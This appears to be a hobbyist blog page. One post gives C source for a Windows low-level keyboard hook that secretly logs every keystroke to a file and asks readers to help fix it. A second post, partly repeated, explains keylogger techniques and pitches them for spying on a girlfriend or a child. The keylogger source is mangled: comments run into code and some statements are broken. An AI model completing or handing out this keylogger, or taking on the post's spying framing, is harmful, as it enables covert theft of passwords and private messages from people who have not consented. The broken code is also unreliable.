This time i am back with key logger code which i have told in sum other post that i will be posting it in future because i haven’t checked the code which i found it in some web site.These days i have worked on the code but i can’t make it work.It is showing errors and i am not able to rectify those.I am posting the code which i found here you can try it and if you get it work please tell me what changes you made so that i too can use it.The code which i found is in C and if you know C language you read it .The code is as follows: -
code: */
// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"
// Global Hook handleHHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.
KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);
// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)
DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;
// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.
char lpszName[0x100] = {0};
lpszName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;
lpszName = ']';
// Print this name to the standard console output device.
FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}
// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.
return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...
void MsgLoop(){MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );}
}
// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.
DWORD WINAPI KeyLogger(LPVOID lpParameter){
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx (
// install the hook:
WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent,
// with the KeyEvent function from this executable
hExe, // and the module handle to our own executableNULL
// and finally, the hook should monitor all threads.
);
// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.
MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread)
{
return WaitForSingleObject(hThread,INFINITE);
}
else {return 1;}
}
Don’t forget to post the way you made it work if it works for you..
Showing posts with label KeyLogging. Show all posts
Showing posts with label KeyLogging. Show all posts
Sunday, February 28, 2010
Friday, February 19, 2010
Log the Keys ( KeyLogging Part 1)
Ever thought of finding what your girlfriend is chatting with other guy Or finding what your son is doing on internet ??
Thinking whether it is possible or not ???
Yes there is a way to know it
"KeyLogging"....
It is a technique of storing and accessing the keys pressed by the user on his system which is installed with a keylogging program .I think now you got a idea of what is a keylogger...
Now the actual technical stuff comes into picture ......
KeyLogger may not be only a program all time but it also may be hardware which integrates with your system and sends data to the creator of it..
Main Idea behind KeyLogging:
The main idea behind keyloggers is to get in between any two links in the chain of events between when a key is pressed and when information about that keystroke is displayed on the monitor. This can be achieved using video surveillance, a hardware bug in the keyboard, wiring or the computer itself, intercepting input/ output, substituting the keyboard driver, the filter driver in the keyboard stack, intercepting kernel functions by any means possible (substituting addresses in system tables, splicing function code, etc.), intercepting DLL functions in user mode, and, finally, requesting information from the keyboard using standard documented methods.
Classification of KeyLoggers:
Keyloggers can be divided into two categories: keylogging devices and keylogging software. Keyloggers which fall into the first category are usually small devices that can be fixed to the keyboard, or placed within a cable or the computer itself. The keylogging software category is made up of dedicated programs designed to track and log keystrokes.
The most common methods used to construct keylogging software are as follows:
Thinking whether it is possible or not ???
Yes there is a way to know it
"KeyLogging"....
It is a technique of storing and accessing the keys pressed by the user on his system which is installed with a keylogging program .I think now you got a idea of what is a keylogger...
Now the actual technical stuff comes into picture ......
KeyLogger may not be only a program all time but it also may be hardware which integrates with your system and sends data to the creator of it..
Main Idea behind KeyLogging:
The main idea behind keyloggers is to get in between any two links in the chain of events between when a key is pressed and when information about that keystroke is displayed on the monitor. This can be achieved using video surveillance, a hardware bug in the keyboard, wiring or the computer itself, intercepting input/ output, substituting the keyboard driver, the filter driver in the keyboard stack, intercepting kernel functions by any means possible (substituting addresses in system tables, splicing function code, etc.), intercepting DLL functions in user mode, and, finally, requesting information from the keyboard using standard documented methods.
Classification of KeyLoggers:
Keyloggers can be divided into two categories: keylogging devices and keylogging software. Keyloggers which fall into the first category are usually small devices that can be fixed to the keyboard, or placed within a cable or the computer itself. The keylogging software category is made up of dedicated programs designed to track and log keystrokes.
The most common methods used to construct keylogging software are as follows:
- a system hook which intercepts notification that a key has been pressed (installed using WinAPI SetWindowsHook for messages sent by the window procedure. It is most often written in C);
- a cyclical information keyboard request from the keyboard (using WinAPI Get(Async)KeyState or GetKeyboardState – most often written in Visual Basic, sometimes in Borland Delphi);
- using a filter driver (requires specialized knowledge and is written in C).
How Can You Get One???
These softwares are sold corporately so that you can buy one from them.I am mentioning some of the websites which sell those softwares only for some purposes..
1) KeyLogger
2)Open Source Project
Can You Make One??
Yes you can make one if you have the knowledge of C Or Java etc...I found one program which makes a keylogger using C language , I didn't tried the program given in that site.I will try it and write my experience in my next post..
1) KeyLogger
2)Open Source Project
Can You Make One??
Yes you can make one if you have the knowledge of C Or Java etc...I found one program which makes a keylogger using C language , I didn't tried the program given in that site.I will try it and write my experience in my next post..
Subscribe to:
Posts (Atom)